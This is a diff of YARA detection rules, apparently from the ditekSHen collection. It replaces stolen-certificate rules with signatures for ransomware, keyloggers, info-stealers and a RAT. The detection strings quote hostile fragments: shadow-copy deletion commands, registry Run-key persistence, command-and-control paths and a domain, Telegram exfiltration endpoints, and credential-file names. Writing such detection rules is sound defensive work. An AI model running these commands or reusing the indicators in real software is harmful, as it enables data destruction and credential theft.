-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO MEP" and pe.signatures[i].serial=="06:62:26:cf:6a:4d:8a:e1:10:09:61:a0:c5:40:4f:f9")
+		( uint16(0)==0x5a4d and 4 of ($o*) and 3 of ($s*)) or (5 of ($o*) and 4 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0E96837Dbe5F4548547203919B96Ac27 : FILE
+rule DITEKSHEN_MALWARE_Win_Goldenaxe : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "GoldenAxe ransomware payload"
 		author = "ditekSHen"
-		id = "83258afe-66e0-56d1-8361-125a1142ffe4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "23874106-dbbb-5cb2-b61a-1661d8e2d868"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L432-L443"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L742-L763"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2eedcc1d782df3c078c20a275680c2ff724e5b7675890af1335ff22d6138ab25"
+		logic_hash = "6dfd88ce65acdfed4749e3b817b317c3c514ea42f892a7f5f95853c148507918"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d6c6a0a4a57af645c9cad90b57c696ad9ad9fcf9"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.GoldenAxe"
+
+	strings:
+		$s1 = "Go build ID: " ascii
+		$s2 = "taskkill.exe" ascii
+		$s3 = "cmd.exe" ascii
+		$s4 = "Speak.Speak" ascii
+		$s5 = "CLNTSRVRnull" ascii
+		$s6 = "-----END" ascii
+		$s7 = "-----BEGIN" ascii
+		$s8 = ".EncryptFile" ascii
+		$g1 = "GoldenAxe/Utils." ascii
+		$g2 = "GoldenAxe/Cryptography." ascii
+		$g3 = "GoldenAxe/Walker." ascii
+		$g4 = "C:/Users/alpha/go/src/GoldenAxe/" ascii
+		$g5 = "'Golden Axe ransomware'" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PLAN CORP PTY LTD" and pe.signatures[i].serial=="0e:96:83:7d:be:5f:45:48:54:72:03:91:9b:96:ac:27")
+		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($g*) and 1 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5B320A2F46C99C1Ba1357Bee : FILE
+rule DITEKSHEN_MALWARE_Win_Robbinhood : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Robbinhood ransomware payload"
 		author = "ditekSHen"
-		id = "376aab03-0bc7-5993-bbbd-9bf5b742d29d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a5066a22-3c87-5e9f-a94f-5a44af2f96fd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L445-L456"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L765-L787"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b0a515aa69b5de58cf7d1a496f95038e090cefe511803e7a29332b411a20d19f"
+		logic_hash = "f1c4226ed5cb1583418d5ef0efc2c2b5bc3cfe7f148f359c5d432fd660331a46"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "5ae8bd51ffa8e82f8f3d8297c4f9caf5e30f425a"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.Robbinhood"
+
+	strings:
+		$go = "Go build ID:" ascii
+		$cmd1 = "cmd.exe /c" ascii
+		$cmd2 = "net use * /DELETE" nocase ascii
+		$cmd3 = "sc.exe stop" ascii
+		$cmd4 = "vssadmin resize shadowstorage" nocase ascii
+		$s1 = /Skipping\s(file|dir)/ ascii
+		$s2 = "Encrypt[ERR] GET Size:" ascii
+		$s3 = ".taskkilltasklistunknown(" ascii
+		$s4 = ".sysvssadmin.exewevtutil.exe MB released" ascii
+		$s5 = ".sysvssadmin.exewevtutil.exewinlogin.exewinlogon.exe MB released" ascii
+		$s6 = ".enc_robbinhood" ascii
+		$s7 = "c:\\windows\\temp\\pub.key" nocase ascii
+		$s8 = "main.CoolMaker" ascii
+		$s9 = "/valery/go/src/oldboy/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "REGION TOURISM LLC" and pe.signatures[i].serial=="5b:32:0a:2f:46:c9:9c:1b:a1:35:7b:ee")
+		uint16(0)==0x5a4d and ($go and 1 of ($cmd*) and 3 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_02C5351936Abe405Ac760228A40387E8 : FILE
+rule DITEKSHEN_MALWARE_Win_Getcrypt : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "GetCrypt ransomware payload"
 		author = "ditekSHen"
-		id = "32e200c3-678f-5be4-b55b-2a7a32e56843"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "fb6db807-372f-59e6-96c6-54dd4ece336d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L458-L469"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L789-L825"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ae9e428c5e7c1ab67be291da93e6d3fa694e3a9b347672817cbf1cac44837a04"
+		logic_hash = "fd7ee98757c3ac1f2b2a4dd9041c78d33273d7a7d596c3d99c6b8d79988f29f1"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "1174c2affb0a364c1b7a231168cfdda5989c04c5"
-		importance = 20
+		clamav_sig1 = "MALWARE_Win.Ransomware.GetCrypt-1"
+		clamav_sig2 = "MALWARE_Win.Ransomware.GetCrypt-2"
+
+	strings:
+		$x1 = "delete shadows /all /quiet" wide
+		$x2 = "C:\\Windows\\System32\\svchost.exe" fullword wide
+		$x3 = "desk.bmp" fullword wide
+		$x4 = ":\\Boot" fullword wide
+		$x5 = "\\encrypted_key.bin" fullword wide
+		$x6 = "vssadmin.exe" fullword wide
+		$x7 = ":\\Recovery" fullword wide
+		$s1 = "CryptEncrypt" fullword ascii
+		$s2 = "NtWow64ReadVirtualMemory64" fullword ascii
+		$s3 = "MPR.dll" fullword ascii
+		$s4 = "%key%" fullword ascii
+		$s5 = "CryptDestroyKey" fullword ascii
+		$s6 = "ntdll.dll" fullword ascii
+		$s7 = "WNetCancelConnection2W" fullword ascii
+		$s8 = ".%c%c%c%c" fullword wide
+		$s10 = { 43 72 79 70 74 49 6d 70 6f 72 74 4b 65 79 00 00
+                 cb 00 43 72 79 70 74 45 6e 63 72 79 70 74 00 00
+                 c1 00 43 72 79 70 74 41 63 71 75 69 72 65 43 6f
+                 6e 74 65 78 74 41 00 00 c8 00 43 72 79 70 74 44
+                 65 73 74 72 6f 79 4b 65 79 00 d2 00 43 72 79 70
+                 74 47 65 6e 52 61 6e 64 6f 6d 00 00 c2 00 43 72
+                 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78
+                 74 57 00 00 41 44 56 41 50 49 33 32 2e 64 6c 6c
+                 00 00 b5 01 53 68 65 6c 6c 45 78 65 63 75 74 65
+                 45 78 57 00 53 48 45 4c 4c 33 32 2e 64 6c 6c 00 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RESURS-RM OOO" and pe.signatures[i].serial=="02:c5:35:19:36:ab:e4:05:ac:76:02:28:a4:03:87:e8")
+		uint16(0)==0x5a4d and (3 of ($x*) or 8 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_08D4352185317271C1Cec9D05C279Af7 : FILE
+rule DITEKSHEN_MALWARE_Joego : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "JoeGo ransomware payload"
 		author = "ditekSHen"
-		id = "a0197037-874c-55e7-80aa-e8b7156a26a3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "23d38bcd-e66d-5ff1-ad6a-3e6432d83562"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L471-L482"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L827-L847"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "6f4b8a52e152097a6e18f55b6b677eb1ba0f4da78ce68ffa35510bfb485e01e9"
+		logic_hash = "3ddf3506aefb3cd1845f9daa689848a02a2422ca98c5c984bc918cc7ea2b2677"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "52fe4ecd6c925e89068fee38f1b9a669a70f8bab"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.JoeGo"
+
+	strings:
+		$go = "Go build ID:" ascii
+		$s1 = "%SystemRoot%\\system32\\%v." ascii
+		$s2 = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V" ascii
+		$s3 = "/t REG_SZ /F /D %userprofile%\\" ascii
+		$s4 = "(sensitive) [recovered]" ascii
+		$s5 = "/dev/stderr/dev/stdout/index.html" ascii
+		$s6 = "%userprofile%\\SystemApps" ascii
+		$s7 = "p=<br>ACDTACSTAEDTAESTAKDTAKSTAWSTA" ascii
+		$cnc1 = "/detail.php" ascii
+		$cnc2 = "/checkin.php" ascii
+		$cnc3 = "/platebni_brana.php" ascii
+		$cnc4 = "://nebezpecnyweb.eu/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Retalit LLC" and pe.signatures[i].serial=="08:d4:35:21:85:31:72:71:c1:ce:c9:d0:5c:27:9a:f7")
+		uint16(0)==0x5a4d and $go and ( all of ($s*) or (3 of ($s*) and 1 of ($cnc*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Ed8Ade5D73B73Dade6943D557Ff87E5 : FILE
+rule DITEKSHEN_MALWARE_Win_Aurora : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Aurora ransomware payload"
 		author = "ditekSHen"
-		id = "ebdab290-d388-528e-b392-0ae87941b69d"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "d3eafe9c-c8d9-5744-ba5d-4eb0249cceea"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L484-L495"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L849-L869"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e2e269a83a86567bf359996945cddc597406033aa7c5a7acf30b58d30816b28f"
+		logic_hash = "056bb11e8b947ef90462503db82b2001e4a5d4847fad9c0d5d771384a80d779a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9bbd8476bf8b62be738437af628d525895a2c9c9"
-		importance = 20
+
+	strings:
+		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" fullword ascii wide
+		$s2 = "#DECRYPT_MY_FILES#.txt" fullword ascii
+		$s3 = "/gen.php?generate=" fullword ascii
+		$s4 = "geoplugin.net/php.gp" ascii
+		$s5 = "/end.php?id=" fullword ascii
+		$s6 = "wotreplay" fullword ascii
+		$s7 = "moneywell" fullword ascii
+		$s8 = "{btc}" fullword ascii
+		$s9 = ".?AV_Locimp@locale@std@@" ascii
+		$s10 = ".?AV?$codecvt@DDU_Mbstatet@@@std@@" ascii
+		$s11 = ".?AU_Crt_new_delete@std@@" ascii
+		$pdb1 = "\\z0ddak\\Desktop\\source\\Release\\Ransom.pdb" ascii
+		$pdb2 = "\\Desktop\\source\\Release\\Ransom.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rumikon LLC" and pe.signatures[i].serial=="0e:d8:ad:e5:d7:3b:73:da:de:69:43:d5:57:ff:87:e5")
+		uint16(0)==0x5a4d and ((1 of ($pdb*) and 5 of ($s*)) or (8 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Ed1847A2Ae5D71Def1E833Fddd33D38 : FILE
+rule DITEKSHEN_MALWARE_Win_Buran : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Buran ransomware payload"
 		author = "ditekSHen"
-		id = "5e09087b-3fd0-5979-8f98-f242231c8b4f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1433bac5-2ece-54bb-8e57-b5834fffc719"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L497-L508"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L871-L903"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2acc6d2262bac8bfe49bb244d62be4dcf626dd9b2c9786b7a8963c48b17e6ab9"
+		logic_hash = "eaf50d824dbade0ca63fafc5b4a376553039de9b51a0f6387cb28c8f91a7e0b9"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "e611a7d4cd6bb8650e1e670567ac99d0bf24b3e8"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Ransomware.Buran"
+
+	strings:
+		$v1_1 = "U?$error_info_injector@V" ascii
+		$v1_2 = "Browse for Folder (FTP)" fullword ascii
+		$v1_3 = "Find/Replace in Files" fullword ascii
+		$v1_4 = "PAHKLM" fullword ascii
+		$v1_5 = "PAHKCR" fullword ascii
+		$v1_6 = "chkOpt_" ascii
+		$h1 = "Search <a href=\"location\" class=\"menu\">in this folder</a>" ascii
+		$h2 = "<br>to find where the text below" ascii
+		$h3 = "</a> files with these extensions (separate with semi-colons)" ascii
+		$h4 = "Need help with <a href=\"" ascii
+		$path = "\\work\\cr\\nata\\libs\\boost_" wide
+		$v2_1 = "(ShlObj" fullword ascii
+		$v2_2 = "\\StreamUnit" fullword ascii
+		$v2_3 = "TReadme" fullword ascii
+		$v2_4 = "TDrivesAndShares" fullword ascii
+		$v2_5 = "TCustomMemoryStreamD" fullword ascii
+		$v2_6 = "OpenProcessToken" fullword ascii
+		$v2_7 = "UrlMon" fullword ascii
+		$v2_8 = "HttpSendRequestA" fullword ascii
+		$v2_9 = "InternetConnectA" fullword ascii
+		$v2_10 = "FindFiles" fullword ascii
+		$v2_12 = "$*@@@*$@@@$" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SNAB-RESURS, OOO" and pe.signatures[i].serial=="0e:d1:84:7a:2a:e5:d7:1d:ef:1e:83:3f:dd:d3:3d:38")
+		uint16(0)==0x5a4d and ((( all of ($v1*) and 1 of ($h*)) or ($path and 2 of ($v1*) and 1 of ($h*)) or 10 of them ) or all of ($v2*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0292C7D574132Ba5C0441D1C7Ffcb805 : FILE
+rule DITEKSHEN_MALWARE_Win_Masslogger : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "MassLogger keylogger payload"
 		author = "ditekSHen"
-		id = "0792bf83-c0e9-55f8-b6bd-b05bc575e2b4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9181b89a-2ce8-59b6-9703-c01a8471b8d6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L510-L521"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L905-L934"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8d0a6714ce5bfed90c80dcfffe4f1d61ec25c817cdc48907cbc67bcee52a1d9a"
+		logic_hash = "7d8bbefa71a1eb20cd9d029bd516d6c37e39cfa053ed0617eace200d210d9b58"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "d0ae777a34d4f8ce6b06755c007d2d92db2a760c"
-		importance = 20
+
+	strings:
+		$s1 = "MassLogger v" ascii wide
+		$s2 = "MassLogger Started:" ascii wide
+		$s3 = "MassLogger Process:" ascii wide
+		$s4 = "/panel/upload.php" wide
+		$s5 = "ftp://" wide
+		$s6 = "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}" fullword wide
+		$s7 = "^(.*/)?([^/\\\\.]+/\\\\.\\\\./)(.+)$" fullword wide
+		$s8 = "Bot Killer" ascii
+		$s9 = "Keylogger And Clipboard" ascii
+		$c1 = "costura.ionic.zip.reduced.dll.compressed" fullword ascii
+		$c2 = "CHECKvUNIQUEq" fullword ascii
+		$c3 = "HOOK/MEMORY6" fullword ascii
+		$c4 = "Massfile" ascii wide
+		$c5 = "Fz=[0-9]*'skips*" fullword ascii
+		$c6 = ":=65535zO" fullword ascii
+		$c7 = "!$!%!&!'!(!)!*!.!/!0!4!" fullword ascii
+		$c8 = "5!9!:!<!>!@!E!G!J!K!L!N!O!P!`!" fullword ascii
+		$c9 = "dllToLoad" fullword ascii
+		$c10 = "set_CreateNoWindow" fullword ascii
+		$c11 = "FtpWebRequest" fullword ascii
+		$c12 = "encryptedUsername" fullword ascii
+		$c13 = "encryptedPassword" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TES LOGISTIKA d.o.o." and pe.signatures[i].serial=="02:92:c7:d5:74:13:2b:a5:c0:44:1d:1c:7f:fc:b8:05")
+		( uint16(0)==0x5a4d and 9 of ($c*)) or (5 of ($s*) or 9 of ($c*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_028D50Ae0C554B49148E82Db5B1C2699 : FILE
+rule DITEKSHEN_MALWARE_Win_Echelon : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Echelon information stealer payload"
 		author = "ditekSHen"
-		id = "35cd05db-c399-5d37-a191-9170b048e263"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e13d2003-c755-5dd3-bb16-8e41dd19a151"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L523-L534"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L936-L957"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7fe907059e83a058705a2884d514938c51fd206b0a175cfb9e8619244c20c62f"
+		logic_hash = "c070bf52cc51dd334ea24614e33eaa2b7b1a17e7790e586cbbb8c7e33ba1bd76"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0abdbc13639c704ff325035439ea9d20b08bc48e"
-		importance = 20
+
+	strings:
+		$s1 = "<GetStealer>b__" ascii
+		$s2 = "clearMac" fullword ascii
+		$s3 = "path2save" fullword ascii
+		$s4 = "Echelon_Size" fullword ascii
+		$s5 = "Echelon Stealer by" wide
+		$s6 = "get__masterPassword" fullword ascii
+		$s7 = "DomainDetect" fullword ascii
+		$s8 = "[^\\u0020-\\u007F]" fullword wide
+		$s9 = "/sendDocument?chat_id=" wide
+		$s10 = "//setting[@name='Password']/value" wide
+		$s11 = "Passwords_Mozilla.txt" fullword wide
+		$s12 = "Passwords_Edge.txt" fullword wide
+		$s13 = "@madcod" ascii wide
+		$pdb = "\\Echelon-Stealer-master\\obj\\Release\\Echelon.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VAS CO PTY LTD" and pe.signatures[i].serial=="02:8d:50:ae:0c:55:4b:49:14:8e:82:db:5b:1c:26:99")
+		( uint16(0)==0x5a4d and (8 of ($s*) or $pdb)) or (8 of ($s*) or $pdb)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Ca41D2D9F5E991F49B162D584B0F386 : FILE
+rule DITEKSHEN_MALWARE_Win_Qulab
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Qulab information stealer payload or artifacts"
 		author = "ditekSHen"
-		id = "bd395177-daf6-56b1-822c-e659083e0f53"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6ae24c67-5700-5330-a3bd-d542162faebb"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L536-L547"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L959-L983"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "51f80dfd63b273e62abaa8b60a00525cfdc6b28341466a9f414703382ad088bd"
+		logic_hash = "659d828cbef38c6362b612be9bdc05ae820f49c23684e77af6462ea677133284"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		thumbprint = "23250aa8e1b8ae49a64d09644db3a9a65f866957"
-		importance = 20
+		tags = ""
+		clamav_sig = "MALWARE.Win.Trojan.QulabZ-Stealer"
+
+	strings:
+		$x1 = "QULAB CLIPPER + STEALER" ascii wide
+		$x2 = "MASAD CLIPPER + STEALER" ascii wide
+		$x3 = "http://teleg.run/Qulab" ascii wide
+		$x4 = "http://teleg.run/jew_seller" ascii wide
+		$x5 = "BUY CLIPPER + STEALER" ascii wide
+		$s1 = "\\Screen.jpg" ascii wide
+		$s2 = "attrib +s +h \"" ascii wide
+		$s3 = "\\x86_microsoft-windows-" ascii wide
+		$s4 = "\\amd64_microsoft-windows-" ascii wide
+		$s5 = "Desktop TXT File" ascii wide
+		$s6 = "\\AutoFills.txt" ascii wide
+		$s7 = "\\CreditCards.txt" ascii wide
+		$s8 = "a -y -mx9 -ssw" ascii wide
+		$s9 = "\\Passwords.txt" ascii wide
+		$s10 = "\\Information.txt" ascii wide
+		$s11 = "\\getMe" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VB CORPORATE PTY. LTD." and pe.signatures[i].serial=="0c:a4:1d:2d:9f:5e:99:1f:49:b1:62:d5:84:b0:f3:86")
+		9 of them or ((1 of ($x*) and 4 of ($s*)) or 1 of ($x*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1389C8373C00B792207Bca20Aa40Aa40 : FILE
+rule DITEKSHEN_MALWARE_Win_Orion : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Orion Keylogger payload"
 		author = "ditekSHen"
-		id = "7f22411b-6e66-5177-8837-12b82b3b916b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b380b93b-6ceb-5244-aeca-b1f8f9a5b553"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L549-L560"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L985-L1005"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5c0c9ca9e1179f253f1b2ecd9c8a1a0ed17345eb9830201c7c16050339d7ccbc"
+		logic_hash = "9e5521ebaf9bdef6dadd2a2a093bd6f87ded023d9a74db126ac8ec9a5f1f9744"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "38f65d64ac93f080b229ab83cb72619b0754fa6f"
-		importance = 20
+
+	strings:
+		$s1 = "\\Ranger.BrowserLogging" ascii wide nocase
+		$s2 = "GrabAccounts" fullword ascii
+		$s3 = "DownloadFile" fullword ascii
+		$s4 = "Internet Explorer Recovery" wide
+		$s5 = "Outlook Recovery" wide
+		$s6 = "Thunderbird Recovery" wide
+		$s7 = "Keylogs -" wide
+		$s8 = "WebCam_Capture.dll" wide
+		$s9 = " is not installed on this computer!" wide
+		$s10 = "cmd /c bfsvc.exe \"" wide
+		$s11 = "/Keylogs - PC:" fullword wide
+		$s12 = "/PC:" fullword wide
+		$s13 = "<p style=\"color:#CC7A00\">[" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "VITA-DE d.o.o." and pe.signatures[i].serial=="13:89:c8:37:3c:00:b7:92:20:7b:ca:20:aa:40:aa:40")
+		( uint16(0)==0x5a4d and 5 of ($s*)) or (6 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_A596Fd2779E507Aa466D159706Fe4150 : FILE
+rule DITEKSHEN_MALWARE_Win_Aspire : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Aspire Keylogger payload"
 		author = "ditekSHen"
-		id = "8cf28e2a-d90f-5bf6-b746-7f46e8f6aa2a"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "25724975-f373-553e-b27e-43168e956c16"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L562-L573"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1007-L1022"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b88f346175e9084fdba94b9a8cbbf28a5012d28ab43350d927aac099921ab1a3"
+		logic_hash = "3ea0136dbacb79e4c7556f562d17b26b84ac3e4c967b117021e2399ded0a0fdf"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "104c4183e248d63a6e2ad6766927b070c81afcb6"
-		importance = 20
+
+	strings:
+		$s1 = "AspireLogger -" wide
+		$s2 = "Application: @" wide
+		$s3 = "encryptedUsername" wide
+		$s4 = "encryptedPassword" wide
+		$s5 = "Fetch users fron logins" wide
+		$s6 = "URI=file:" wide
+		$s7 = "signons.sqlite" wide
+		$s8 = "logins.json" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ClamAV" and pe.signatures[i].serial=="a5:96:fd:27:79:e5:07:aa:46:6d:15:97:06:fe:41:50")
+		( uint16(0)==0x5a4d and 6 of ($s*)) or (7 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_45D76C63929C4620Ab706772F5907F82 : FILE
+rule DITEKSHEN_MALWARE_Win_S05Kitty : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Sector05 Kitty RAT payload"
 		author = "ditekSHen"
-		id = "6ade67b1-cff5-5e5d-917c-f31010e09b82"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3261f6b6-21e7-5195-98db-9607ba530572"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L575-L586"
